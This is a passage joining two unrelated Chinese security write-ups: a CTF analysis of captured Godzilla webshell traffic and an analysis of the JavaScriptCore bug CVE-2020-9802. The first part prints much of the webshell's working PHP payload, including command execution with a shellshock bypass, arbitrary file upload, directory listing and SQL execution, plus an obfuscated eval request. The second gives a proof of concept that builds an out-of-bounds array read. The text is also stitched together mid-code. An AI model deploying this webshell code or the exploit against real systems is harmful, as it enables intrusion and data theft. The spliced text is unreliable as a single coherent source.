$data['CurrentUser'] = strlen(trim($data['CurrentUser'])) > 0 ? $data['CurrentUser'] : 'NULL';
$data['REMOTE_ADDR'] = @$_SERVER['REMOTE_ADDR'];
$data['REMOTE_PORT'] = @$_SERVER['REMOTE_PORT'];
$data['HTTP_X_FORWARDED_FOR'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$data['HTTP_CLIENT_IP'] = @$_SERVER['HTTP_CLIENT_IP'];
$data['SERVER_ADDR'] = @$_SERVER['SERVER_ADDR'];
$data['SERVER_NAME'] = @$_SERVER['SERVER_NAME'];
$data['SERVER_PORT'] = @$_SERVER['SERVER_PORT'];
$data['disable_functions'] = @ini_get('disable_functions');
$data['disable_functions'] = strlen(trim($data['disable_functions'])) > 0 ? $data['disable_functions'] : @get_cfg_var('disable_functions');
$data['Open_basedir'] = @ini_get('open_basedir');
$data['timezone'] = @ini_get('date.timezone');
$data['encode'] = @ini_get('exif.encode_unicode');
$data['extension_dir'] = @ini_get('extension_dir');
$data['sys_get_temp_dir'] = @sys_get_temp_dir();
$data['include_path'] = @ini_get('include_path');
$data['DOCUMENT_ROOT'] = $_SERVER['DOCUMENT_ROOT'];
$data['PHP_SAPI'] = PHP_SAPI;
$data['PHP_VERSION'] = PHP_VERSION;
$data['PHP_INT_SIZE'] = PHP_INT_SIZE;
$data['canCallGzipDecode'] = canCallGzipDecode();
$data['canCallGzipEncode'] = canCallGzipEncode();
$data['session_name'] = @ini_get("session.name");
$data['session_save_path'] = @ini_get("session.save_path");
$data['session_save_handler'] = @ini_get("session.save_handler");
$data['session_serialize_handler'] = @ini_get("session.serialize_handler");
$data['user_ini_filename'] = @ini_get("user_ini.filename");
$data['memory_limit'] = @ini_get('memory_limit');
$data['upload_max_filesize'] = @ini_get('upload_max_filesize');
$data['post_max_size'] = @ini_get('post_max_size');
$data['max_execution_time'] = @ini_get('max_execution_time');
$data['max_input_time'] = @ini_get('max_input_time');
$data['default_socket_timeout'] = @ini_get('default_socket_timeout');
$data['mygid'] = @getmygid();
$data['mypid'] = @getmypid();
$data['SERVER_SOFTWAREypid'] = @$_SERVER['SERVER_SOFTWARE'];
$data['SERVER_PORT'] = @$_SERVER['SERVER_PORT'];
$data['loaded_extensions'] = @implode(',', @get_loaded_extensions());
$data['short_open_tag'] = @get_cfg_var('short_open_tag');
$data['short_open_tag'] = @(int)$data['short_open_tag'] == 1 ? 'true' : 'false';
$data['asp_tags'] = @get_cfg_var('asp_tags');
$data['asp_tags'] = (int)$data['asp_tags'] == 1 ? 'true' : 'false';
$data['safe_mode'] = @get_cfg_var('safe_mode');
$data['safe_mode'] = (int)$data['safe_mode'] == 1 ? 'true' : 'false';
$data['CurrentDir'] = str_replace('\\', '/', @dirname($_SERVER['SCRIPT_FILENAME']));
$SCRIPT_FILENAME=@dirname($_SERVER['SCRIPT_FILENAME']);
$data['FileRoot'] = '';
if (substr($SCRIPT_FILENAME, 0, 1) != '/') {foreach (range('A', 'Z') as $L){ if (@is_dir("{$L}:")){ $data['FileRoot'] .= "{$L}:/;";}};};
$data['FileRoot'] = (strlen(trim($data['FileRoot'])) > 0 ? $data['FileRoot'] : '/');
$data['FileRoot']= substr_count($data['FileRoot'],substr($SCRIPT_FILENAME, 0, 1))<=0?substr($SCRIPT_FILENAME, 0, 1).":/":$data['FileRoot'];
$result="";
foreach($data as $key=>$value){
$result.=$key." : ".$value."\n";
}
return $result;
}
function getFile(){
$dir=get('dirName');
$dir=(strlen(@trim($dir))>0)?trim($dir):str_replace('\\','/',dirname(__FILE__));
$dir.="/";
$path=$dir;
$allFiles = @scandir($path);
$data="";
if ($allFiles!=null){
$data.="ok";
$data.="\n";
$data.=$path;
$data.="\n";
foreach ($allFiles as $fileName) {
if ($fileName!="."&&$fileName!=".."){
$fullPath = $path.$fileName;
$lineData=array();
array_push($lineData,$fileName);
array_push($lineData,@is_file($fullPath)?"1":"0");
array_push($lineData,date("Y-m-d H:i:s", @filemtime($fullPath)));
array_push($lineData,@filesize($fullPath));
$fr=(@is_readable($fullPath)?"R":"").(@is_writable($fullPath)?"W":"").(@is_executable($fullPath)?"X":"");
array_push($lineData,(strlen($fr)>0?$fr:"F"));
$data.=(implode("\t",$lineData)."\n");
}
}
}else{
return "Path Not Found Or No Permission!";
}
return $data;
}
function readFileContent(){
$fileName=get("fileName");
if (@is_file($fileName)){
if (@is_readable($fileName)){
return file_get_contents($fileName);
}else{
return "No Permission!";
}
}else{
return "File Not Found";
}
}
function uploadFile(){
$fileName=get("fileName");
$fileValue=get("fileValue");
if (@file_put_contents($fileName,$fileValue)!==false){
@chmod($fileName,0777);
return "ok";
}else{
return "fail";
}
}
function newDir(){
$dir=get("dirName");
if (@mkdir($dir,0777,true)!==false){
return "ok";
}else{
return "fail";
}
}
function newFile(){
$fileName=get("fileName");
if (@file_put_contents($fileName,"")!==false){
return "ok";
}else{
return "fail";
}
}
function function_existsEx($functionName){
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){
$d=array();
}else{
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($functionName)&&is_callable($functionName)&&!in_array($functionName,$d));
}
function execCommand(){
@ob_start();
$cmdLine=get("cmdLine");
$d=__FILE__;
$cmdLine=substr($d,0,1)=="/"?"-c \"{$cmdLine}\"":"/c \"{$cmdLine}\"";
if(substr($d,0,1)=="/"){
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
}else{
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
$executeFile=substr($d,0,1)=="/"?"sh":"cmd";
$cmdLine="{$executeFile} {$cmdLine}";
$cmdLine=$cmdLine." 2>&1";
$ret=0;
if (!function_exists("runshellshock")){
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && function_existsEx('putenv') && (function_existsEx('error_log') || function_existsEx('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (function_existsEx('error_log')) {
error_log("a", 1);
} else {
mail("[email protected]", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
};
}
if(function_existsEx('system')){
@system($cmdLine,$ret);
}elseif(function_existsEx('passthru')){
@passthru($cmdLine,$ret);
}elseif(function_existsEx('shell_exec')){
print(@shell_exec($cmdLine));
}elseif(function_existsEx('exec')){
@exec($cmdLine,$o,$ret);
print(join("\n",$o));
}elseif(function_existsEx('popen')){
$fp=@popen($cmdLine,'r');
while(!@feof($fp)){
print(@fgets($fp,2048));
}
@pclose($fp);
}elseif(function_existsEx('proc_open')){
$p = @proc_open($cmdLine, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])){
print(@fgets($io[1],2048));
}
while(!@feof($io[2])){
print(@fgets($io[2],2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
}elseif(runshellshock($d, $cmdLine)) {
print($ret);
}elseif(substr($d,0,1)!="/" && @class_exists("COM")){
$w=new COM('WScript.shell');
$e=$w->exec($cmdLine);
$so=$e->StdOut();
print($so->ReadAll());
$se=$e->StdErr();
print($se->ReadAll());
}else{
return "none of proc_open/passthru/shell_exec/exec/exec/popen/COM/runshellshock is available";
}
print(($ret!=0)?"ret={$ret}":"");
$result = @ob_get_contents();
@ob_end_clean();
return $result;
}
function execSql(){
$dbType=get("dbType");
$dbHost=get("dbHost");
$dbPort=get("dbPort");
$username=get("dbUsername");
$password=get("dbPassword");
$execType=get("execType");
$execSql=get("execSql");
function mysql_exec($host,$port,$username,$password,$execType,$sql){
// 创建连接
$conn = new mysqli($host,$username,$password,"",$port);
// Check connection
if ($conn->connect_error) {
return $conn->connect_error;
}
$result = $conn->query($sql);
if ($conn->error){
return $conn->error;
}
$result = $conn->query($sql);
if ($execType=="update"){
return "Query OK, "+$conn->affected_rows+" rows affected";
}else{
$data="ok\n";
while ($column = $result->fetch_field()){
$data.=base64_encode($column->name)."\t";
}
$data.="\n";
if ($result->num_rows > 0) {
// 输出数据
while($row = $result->fetch_assoc()) {
foreach ($row as $value){
$data.=base64_encode($value)."\t";
}
$data.="\n";
}
}
return $data;
}
}
function pdoExec($databaseType,$host,$port,$username,$password,$execType,$sql){
try {
$conn = new PDO("{$databaseType}:host=$host;port={$port};", $username, $password);
// 设置 PDO 错误模式为异常
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
if ($execType=="update"){
return "Query OK, "+$conn->exec($sql)+" rows affected";
}else{
$data="ok\n";
$stm=$conn->prepare($sql);
$stm->execute();
$row=$stm->fetch(PDO::FETCH_ASSOC);
$_row="\n";
foreach (array_keys($row) as $key){
$data.=base64_encode($key)."\t";
$_row.=base64_encode($row[$key])."\t";
}
$data.=$_row."\n";
while ($row=$stm->fetch(PDO::FETCH_ASSOC)){
foreach (array_keys($row) as $key){
$data.=base64_encode($row[$key])."\t";
}
$data.="\n";
}
return $data;
}
}
catch(PDOException $e)
{
return $e->getMessage();
}
}
if ($dbType=="mysql"){
if (extension_loaded("mysqli")){
return mysql_exec($dbHost,$dbPort,$username,$password,$execType,$execSql);
}else if (extension_loaded("pdo")){
return pdoExec($dbType,$dbHost,$dbPort,$username,$password,$execType,$execSql);
}else{
return "no extension";
}
}else if (extension_loaded("pdo")){
return pdoExec($dbType,$dbHost,$dbPort,$username,$password,$execType,$execSql);
}else{
return "no extension";
}
return "no extension";
}
function base64Encode($data){
return base64_encode($data);
}
function test(){
return "ok";
}
function get($key){
global $parameters;
if (isset($parameters[$key])){
return $parameters[$key];
}else{
return null;
}
}
function getAllParameters(){
global $parameters;
return $parameters;
}
function includeCode(){
$classCode=get("binCode");
$codeName=get("codeName");
$_SES=&getSession();
$_SES[$codeName]=$classCode;
return "ok";
}
function base64Decode($string){
return base64_decode($string);
}
function convertFilePermissions($fileAttr){
$mod=0;
if (strpos($fileAttr,'R')!==false){
$mod=$mod+0444;
}
if (strpos($fileAttr,'W')!==false){
$mod=$mod+0222;
}
if (strpos($fileAttr,'X')!==false){
$mod=$mod+0111;
}
return $mod;
}
function close(){
@session_start();
$_SES=&getSession();
$_SES=null;
if (@session_destroy()){
return "ok";
}else{
return "fail!";
}
}
function bigFileDownload(){
$mode=get("mode");
$fileName=get("fileName");
$readByteNum=get("readByteNum");
$position=get("position");
if ($mode=="fileSize"){
if (@is_readable($fileName)){
return @filesize($fileName)."";
}else{
return "not read";
}
}elseif ($mode=="read"){
if (function_existsEx("fopen")&&function_existsEx("fread")&&function_existsEx("fseek")){
$handle=fopen($fileName,"ab+");
fseek($handle,$position);
$data=fread($handle,$readByteNum);
@fclose($handle);
if ($data!==false){
return $data;
}else{
return "cannot read file";
}
}else if (function_existsEx("file_get_contents")){
return file_get_contents($fileName,false,null,$position,$readByteNum);
}else{
return "no function";
}
}else{
return "no mode";
}
}
function bigFileUpload(){
$fileName=get("fileName");
$fileContents=get("fileContents");
$position=get("position");
if(function_existsEx("fopen")&&function_existsEx("fwrite")&&function_existsEx("fseek")){
$handle=fopen($fileName,"ab+");
if ($handle!==false){
fseek($handle,$position);
$len=fwrite($handle,$fileContents);
if ($len!==false){
return "ok";
}else{
return "cannot write file";
}
@fclose($handle);
}else{
return "cannot open file";
}
}else if (function_existsEx("file_put_contents")){
if (file_put_contents($fileName,$fileContents,FILE_APPEND)!==false){
return "ok";
}else{
return "writer fail";
}
}else{
return "no function";
}
}
function canCallGzipEncode(){
if (function_existsEx("gzencode")){
return "1";
}else{
return "0";
}
}
function canCallGzipDecode(){
if (function_existsEx("gzdecode")){
return "1";
}else{
return "0";
}
}
function bytesToInteger($bytes, $position) {
$val = 0;
$val = $bytes[$position + 3] & 0xff;
$val <<= 8;
$val |= $bytes[$position + 2] & 0xff;
$val <<= 8;
$val |= $bytes[$position + 1] & 0xff;
$val <<= 8;
$val |= $bytes[$position] & 0xff;
return $val;
}
function isGzipStream($bin){
if (strlen($bin)>=2){
$bin=substr($bin,0,2);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
switch ($typeCode) {
case 31139:
return true;
break;
default:
return false;
}
}else{
return false;
}
}
function getBytes($string) {
$bytes = array();
for($i = 0; $i < strlen($string); $i++){
array_push($bytes,ord($string[$i]));
}
return $bytes;
}
然后分析第一段的php我们可以知道哥斯拉是不落地木马，其变量都保存在内存进程中，然后每次都会用gzencode也就是gzip压缩，使用的php的方法所以我们只能用php的方法来解，我们继续分析后面的流量，最后一个流量是
pass=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBXayR3coAiZpBCIgACIgACIK0welNHbl1HIgACIK0wOpYTMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpkSeltGJskSY0FGZkgib1JHQoUGZvNmblhSZk92YuV2X0YTZzFmYg8GajVGIgACIgACIgoQD7kiNxwCMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpQWYvxWehBHJowWY2VGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&key=fL1tMGI4YTljMX78f8Wo%2FyhTh1ICWCl3T2Dlffl9LdSpe0j5qneQcq98UNA0fsVlxxBe14XeR9%2FGMTU0pI7iA2M2ZQ%3D%3D
和
72a9c691ccdaab98fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=b4c4e1f6ddd2a488
重要的就是key的值`key=fL1tMGI4YTljMX78f8Wo%2FyhTh1ICWCl3T2Dlffl9LdSpe0j5qneQcq98UNA0fsVlxxBe14XeR9%2FGMTU0pI7iA2M2ZQ%3D%3D`
然后我们根据上面的思路写出解密脚本
import base64
import os
def decode(D,K):
D = list(D)
for i in range(len(D)):
c = K[i+1&15]
D[i] = D[i]^c
return bytes(D)
_pass = 'pass'
key = '3c6e0b8a9c15224a'
p='fL1tMGI4YTljMX78f8Wo/yhTh1ICWCl3T2Dlffl9LdSpe0j5qneQcq98UNA0fsVlxxBe14XeR9/GMTU0pI7iA2M2ZQ=='
a = os.popen(r'php -r echo(base64_encode(gzencode("test")));').read()
print(a)
p1 = base64.b64decode(p)
res = decode(p1,key.encode())
r1 = base64.b64encode(res).decode()
r2 = os.popen('php -r \'echo(gzdecode(base64_decode("'+r1+'")));\'').read()
print(r2)
然后key的值我们可以解出来
cmdLine
cat /flag
methodName
execCommand
下面的返回我们取16个字符后的base64`fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=`我们可以解出：
flag{5db5b7b0bb74babb66e1522f3a6b1b12} | 社区文章 |
# CVE-2020-9802 JSC CSE漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
编译器优化中有一项CSE（公共子表达式消除），如果JS引擎在执行时类型收集的不正确，将导致表达式被错误的消除引发类型混淆。
## 0x01 前置知识
### CSE
公共子表达式消除即为了去掉那些相同的重复计算，使用代数变换将表达式替换，并删除多余的表达式，如
let c = Math.sqrt(a*a + a*a);
将被优化为
let tmp = a*a;
let c = Math.sqrt(tmp + tmp);
这样就节省了一次乘法，现在我们来看下列代码
let c = o.a;
f();
let d = o.a;
由于在两个表达式之间多了一个f()函数的调用，而函数中很有可能改变.a的值或者类型，因此这两个公共子表达式不能直接消除，编译器会收集o.a的类型信息，并跟踪f函数，收集信息，如果到f分析完毕，o.a的类型也没有改变，那么let
d = o.a;就可以不用再次检查o.a的类型。
在JSC中，CSE优化需要考虑的信息在`Source/JavaScriptCore/dfg/DFGClobberize.h`中被定义，从文件路径可以知道，这是一个在DFG阶段的相关优化，文件中有一个`clobberize`函数，
template<typename ReadFunctor, typename WriteFunctor, typename DefFunctor>
void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFunctor& write, const DefFunctor& def)
{
.............................................
case CompareEqPtr:
def(PureValue(node, node->cellOperand()->cell()));
return;
..............................................
clobberize函数中的`def`操作定义了CSE优化时需要考虑的因素，例如上面的`def(PureValue(node,
node->cellOperand()->cell()));`，如果要对`CompareEqPtr`运算进行CSE优化，需要考虑的因素除了value本身的值，还需要的是Operand（操作数）的类型(cell)。
### 边界检查消除
与V8的checkbounds消除类似，当数组的下标分析确定在数组的大小范围之内，则可以消除边界检查，但如果编译器本身的检查方式出现溢出等问题，编译器认为idx在范围之内而实际则可能不在范围内，错误的消除边界检查将导致数组溢出。
为了研究JSC在什么条件下可以消除边界检查，我们使用如下代码进行测试调试
function foo(arr,idx) {
idx = idx | 0;
if (idx < arr.length) {
if (idx & 0x3) {
idx += -2;
}
if (idx >= 0) {
return arr[idx];
}
}
}
var arr = [1.1,2.2,3.3,4.4,5.5,6.6];
for (var i=0;i<0xd0000;i++) {
foo(arr,2);
}
debug(describe(arr));
print();
debug(foo(arr,0x3));
给print的函数断点用于中断脚本以进行调试`b *printInternal`，运行时加上-p选项将优化时的数据输出为json，从json文件中，我们看到foo函数的字节码
[ 0] enter
[ 1] get_scope loc4
[ 3] mov loc5, loc4
[ 6] check_traps
[ 7] bitor arg2, arg2, Int32: 0(const0)
[ 12] get_by_id loc6, arg1, 0
[ 17] jnless arg2, loc6, 29(->46)
[ 21] bitand loc6, arg2, Int32: 3(const1)
[ 26] jfalse loc6, 9(->35)
[ 29] add arg2, arg2, Int32: -2(const2), OperandTypes(126, 3)
[ 35] jngreatereq arg2, Int32: 0(const0), 11(->46)
[ 39] get_by_val loc6, arg1, arg2
[ 44] ret loc6
[ 46] ret Undefined(const3)
其中`[ 39] get_by_val loc6, arg1, arg2`用于从数组中取出数据，在DFG JIT时，其展开的汇编代码为
0x7fffaf101fa3: mov $0x7fffaef0bb48, %r11
0x7fffaf101fad: mov (%r11), %r11
0x7fffaf101fb0: test %r11, %r11
0x7fffaf101fb3: jz 0x7fffaf101fc0
0x7fffaf101fb9: mov $0x113, %r11d
0x7fffaf101fbf: int3
0x7fffaf101fc0: mov $0x7fffaef000dc, %r11
0x7fffaf101fca: mov $0x0, (%r11)
0x7fffaf101fce: cmp -0x8(%rdx), %esi
0x7fffaf101fd1: jae 0x7fffaf1024cb
0x7fffaf101fd7: movsd (%rdx,%rsi,8), %xmm0
0x7fffaf101fdc: ucomisd %xmm0, %xmm0
0x7fffaf101fe0: jp 0x7fffaf1024f2
其中的
0x7fffaf101fce: cmp -0x8(%rdx), %esi
0x7fffaf101fd1: jae 0x7fffaf1024cb
用于检查下标是否越界，可见DFG JIT阶段并不会去除边界检查，尽管我们在代码中使用了if语句将idx限定在了数组的长度范围之内。边界检查去除表现在FTL
JIT的汇编代码中，从json文件中可以看到FTL JIT时，对字节码字节码`[ 39] get_by_val loc6, arg1, arg2`的展开如下
D@86:<!0:-> ExitOK(MustGen, W:SideState, bc#39, ExitValid)
D@63:<!0:-> CountExecution(MustGen, 0x7fffac9cf140, R:InternalState, W:InternalState, bc#39, ExitValid)
D@66:<!2:-> GetByVal(KnownCell:Kill:D@14, Int32:Kill:D@10, Check:Untyped:Kill:D@68, Check:Untyped:D@10, Double|MustGen|VarArgs|UseAsOther, AnyIntAsDouble|NonIntAsDouble, Double+OriginalCopyOnWriteArray+InBounds+AsIs+Read, R:Butterfly_publicLength,IndexedDoubleProperties, Exits, bc#39, ExitValid) predicting NonIntAsDouble
D@85:<!0:-> KillStack(MustGen, loc6, W:Stack(loc6), ClobbersExit, bc#39, ExitInvalid)
D@67:<!0:-> MovHint(DoubleRep:D@66<Double>, MustGen, loc6, W:SideState, ClobbersExit, bc#39, ExitInvalid)
ValueRep(DoubleRep:Kill:D@66<Double>, JS|PureInt, BytecodeDouble, bc#39, exit: bc#44, ExitValid)
从中可以看到`GetByVal`中传递的参数中含有`InBounds`标记，那么其汇编代码中将不会检查下标是否越界，因为前面已经确定下标在范围内。为了查看FTL
JIT生成的汇编代码，我们使用gdb调试，遇到print语句时会断点停下
此时，我们对`butterfly`中对应的位置下一个硬件读断点，然后继续运行
pwndbg> rwatch *0x7ff803ee4018
Hardware read watchpoint 79: *0x7ff803ee4018
pwndbg> c
Continuing.
然后断点断下
0x7fffaf101b9c movabs r11, 0x7fffaef000dc
0x7fffaf101ba6 mov byte ptr [r11], 0
0x7fffaf101baa cmp esi, dword ptr [rdx - 8]
0x7fffaf101bad jae 0x7fffaf102071 <0x7fffaf102071>
0x7fffaf101bb3 movsd xmm0, qword ptr [rdx + rsi*8]
► 0x7fffaf101bb8 ucomisd xmm0, xmm0
0x7fffaf101bbc jp 0x7fffaf102098 <0x7fffaf102098>
我们发现这仍然存在`cmp esi, dword ptr [rdx - 8]`检查了下标，这是由于`FTL
JIT`是延迟优化的，可能还没优化过来，我们按照前面的步骤重新试一下
0x7fffaf1039fa mov eax, 0xa
0x7fffaf103a00 mov rsp, rbp
0x7fffaf103a03 pop rbp
0x7fffaf103a04 ret
0x7fffaf103a05 movsd xmm0, qword ptr [rdx + rax*8]
► 0x7fffaf103a0a ucomisd xmm0, xmm0
0x7fffaf103a0e jp 0x7fffaf103aeb <0x7fffaf103aeb>
发现这次，边界检查被去除了，为了查看更多的代码片段，我们使用gdb的dump命令将这段代码dump出来用IDA分析
pwndbg> vmmap 0x7fffaf103a0a
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7fffaf0ff000 0x7fffaf104000 rwxp 5000 0 +0x4a0a
pwndbg> dump memory ./2.bin 0x7fffaf0ff000 0x7fffaf104000
pwndbg>
可以看到语句
if (idx & 0x3) {
idx += -2;
}
执行完毕后，无需再一次检查`idx <
arr.length`，因为这是一个减法操作，正常情况下idx减去一个正数肯定会变小，小于arr.length，因此就去掉了边界检查。
## 0x02 漏洞分析利用
### patch分析
diff --git a/Source/JavaScriptCore/dfg/DFGClobberize.h b/Source/JavaScriptCore/dfg/DFGClobberize.h
index b2318fe03aed41e0309587e7df90769cb04e3c49..5b34ec5bd8524c03b39a1b33ba2b2f64b3f563e1 100644 (file)
--- a/Source/JavaScriptCore/dfg/DFGClobberize.h
+++ b/Source/JavaScriptCore/dfg/DFGClobberize.h
@@ -228,7 +228,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu
case ArithAbs:
if (node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse)
- def(PureValue(node));
+ def(PureValue(node, node->arithMode()));
else {
read(World);
write(Heap);
@@ -248,7 +248,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu
if (node->child1().useKind() == Int32Use
|| node->child1().useKind() == DoubleRepUse
|| node->child1().useKind() == Int52RepUse)
- def(PureValue(node));
+ def(PureValue(node, node->arithMode()));
else {
read(World);
write(Heap);
该patch修复了漏洞，从patch中可以知道，这原本是一个跟CSE优化有关的漏洞，patch中加入了`node->arithMode()`参数，那么在CSE优化时，不仅要考虑操作数的值，还要考虑算术运算中出现的溢出等因素，即使最终的值一样，如果其中一个表达式是溢出的，也不能进行CSE优化。
### POC构造
首先从patch可以知道，修改的内容分别在`ArithAbs`和`ArithNegate`分支，它们分别对应了JS中的`Math.abs`和`-`运算。
尝试构造如下代码
function foo(n) {
if (n < 0) {
let a = -n;
let b = Math.abs(n);
debug(b);
}
}
for (var i=0;i<0x30000;i++) {
foo(-2);
}
foo部分字节码如下
[ 17] negate loc7, arg1, 126
..........
[ 48] call loc6, loc8, 2, 18
分别代表了-n和Math.abs(n);，在DFG JIT阶段，其展开为如下
[ 17]
CountExecution
GetLocal
ArithNegate(Int32:D@39, Int32|PureInt, Int32, Unchecked, Exits, bc#17, ExitValid)
MovHint
[ 48]
CountExecution
FilterCallLinkStatus
ArithAbs(Int32:D@39, Int32|UseAsOther, Int32, CheckOverflow, Exits, bc#48, ExitValid)
Phantom
Phantom
MovHint
在FTL JIT阶段，代码变化如下
[ 17]
CountExecution
ArithNegate(Int32:Kill:D@76, Int32|PureInt, Int32, Unchecked, Exits, bc#17, ExitValid)
KillStack
ZombieHint
[ 48]
CountExecution
FilterCallLinkStatus
KillStack
ZombieHint
可以看到`ArithAbs`被去除了，这就是漏洞所在，`ArithAbs`与`ArithNegate`的不同点在于，`ArithNegate`不检查溢出，而`ArithAbs`会检查溢出，因此对于0x80000000这个值，`-0x80000000`值仍然为`-0x80000000`，是一个32位数据，而`Math.abs(-0x80000000)`将扩展位数，值为`0x80000000`。显然编译器没有察觉到这一点，将`ArithAbs`与`ArithNegate`认为是公共子表达式，于是便可以进行互相替换。
因此构造的POC如下
function foo(n) {
if (n < 0) {
let a = -n;
let b = Math.abs(n);
debug(b);
}
}
for (var i=0;i<0xc0000;i++) {
foo(-2);
}
foo(-0x80000000);
程序输出如下
..............
--> 2
--> 2
--> 2
--> 2
--> 2
--> -2147483648
可以看到，这个值并不是`Math.abs(-0x80000000)`的准确值。
### OOB数组构造
利用边界检查消除来进行数组的溢出
function foo(arr,n) {
if (n < 0) {
let a = -n;
let idx = Math.abs(n);
if (idx < arr.length) { //确定在边界之内
if (idx & 0x80000000) { //对于0x80000000，我们减去一个数,以将idx变换到任意正值
idx += -0x7ffffffd;
}
if (idx >= 0) { //确定在边界之内
return arr[idx]; //溢出
}
}
}
}
var arr = [1.1,2.2,3.3];
for (var i=0;i<0xc0000;i++) {
foo(arr,-2);
}
debug(foo(arr,-0x80000000));
因为编译器的错误优化，idx是一个32位数，那么`idx < arr.length`的检查通过，那么后续的`return arr[idx];
//溢出`将不会检查右边界，因此可以溢出数据。通过测试，发现POC有时可以成功溢出，有时不能
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 1.5488838078e-314
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> undefined
这是因为漏洞最终发生在`FTL
JIT`，这个是延迟优化的，可能在执行最后的`debug(foo(arr,-0x80000000));`还没生成好JIT代码，因此具有微小的随机性，不影响漏洞利用。为了查看FTL
JIT的汇编代码，我们使用前面介绍的方法，对arr的`butterfly`下硬件断点，然后停下时将代码片段dump出来
seg000:00007FFFAF10346F mov ecx, eax
seg000:00007FFFAF103471 neg ecx
seg000:00007FFFAF103473 mov rdx, [rdx+8]
seg000:00007FFFAF103477 cmp ecx, [rdx-8]
seg000:00007FFFAF10347A jl loc_7FFFAF103496
seg000:00007FFFAF103480 mov dword ptr [rsi+737C1Ch], 1
seg000:00007FFFAF10348A mov rax, 0Ah
seg000:00007FFFAF103491 mov rsp, rbp
seg000:00007FFFAF103494 pop rbp
seg000:00007FFFAF103495 retn
seg000:00007FFFAF103496 ; --------------------------------------------------------------------------- seg000:00007FFFAF103496
seg000:00007FFFAF103496 loc_7FFFAF103496: ; CODE XREF: seg000:00007FFFAF10347A↑j
seg000:00007FFFAF103496 test ecx, 80000000h
seg000:00007FFFAF10349C jnz loc_7FFFAF1034E8
seg000:00007FFFAF1034A2 test ecx, ecx
seg000:00007FFFAF1034A4 jns loc_7FFFAF1034C0
................
seg000:00007FFFAF1034E8 loc_7FFFAF1034E8: ; CODE XREF: seg000:00007FFFAF10349C↑j
seg000:00007FFFAF1034E8 mov rcx, 0FFFFFFFF80000003h
seg000:00007FFFAF1034EF sub ecx, eax
seg000:00007FFFAF1034F1 test ecx, ecx
seg000:00007FFFAF1034F3 jns loc_7FFFAF1034C0
seg000:00007FFFAF1034F9 jmp loc_7FFFAF1034AA
................
seg000:00007FFFAF1034C0 loc_7FFFAF1034C0: ; CODE XREF: seg000:00007FFFAF1034A4↑j
seg000:00007FFFAF1034C0 ; seg000:00007FFFAF1034F3↓j
seg000:00007FFFAF1034C0 mov eax, ecx
seg000:00007FFFAF1034C2 movsd xmm0, qword ptr [rdx+rax*8]
seg000:00007FFFAF1034C7 ucomisd xmm0, xmm0
seg000:00007FFFAF1034CB jp loc_7FFFAF1035A8
seg000:00007FFFAF1034D1 movq rax, xmm0
seg000:00007FFFAF1034D6 sub rax, rdi
seg000:00007FFFAF1034D9 mov dword ptr [rsi+737C1Ch], 1
seg000:00007FFFAF1034E3 mov rsp, rbp
seg000:00007FFFAF1034E6 pop rbp
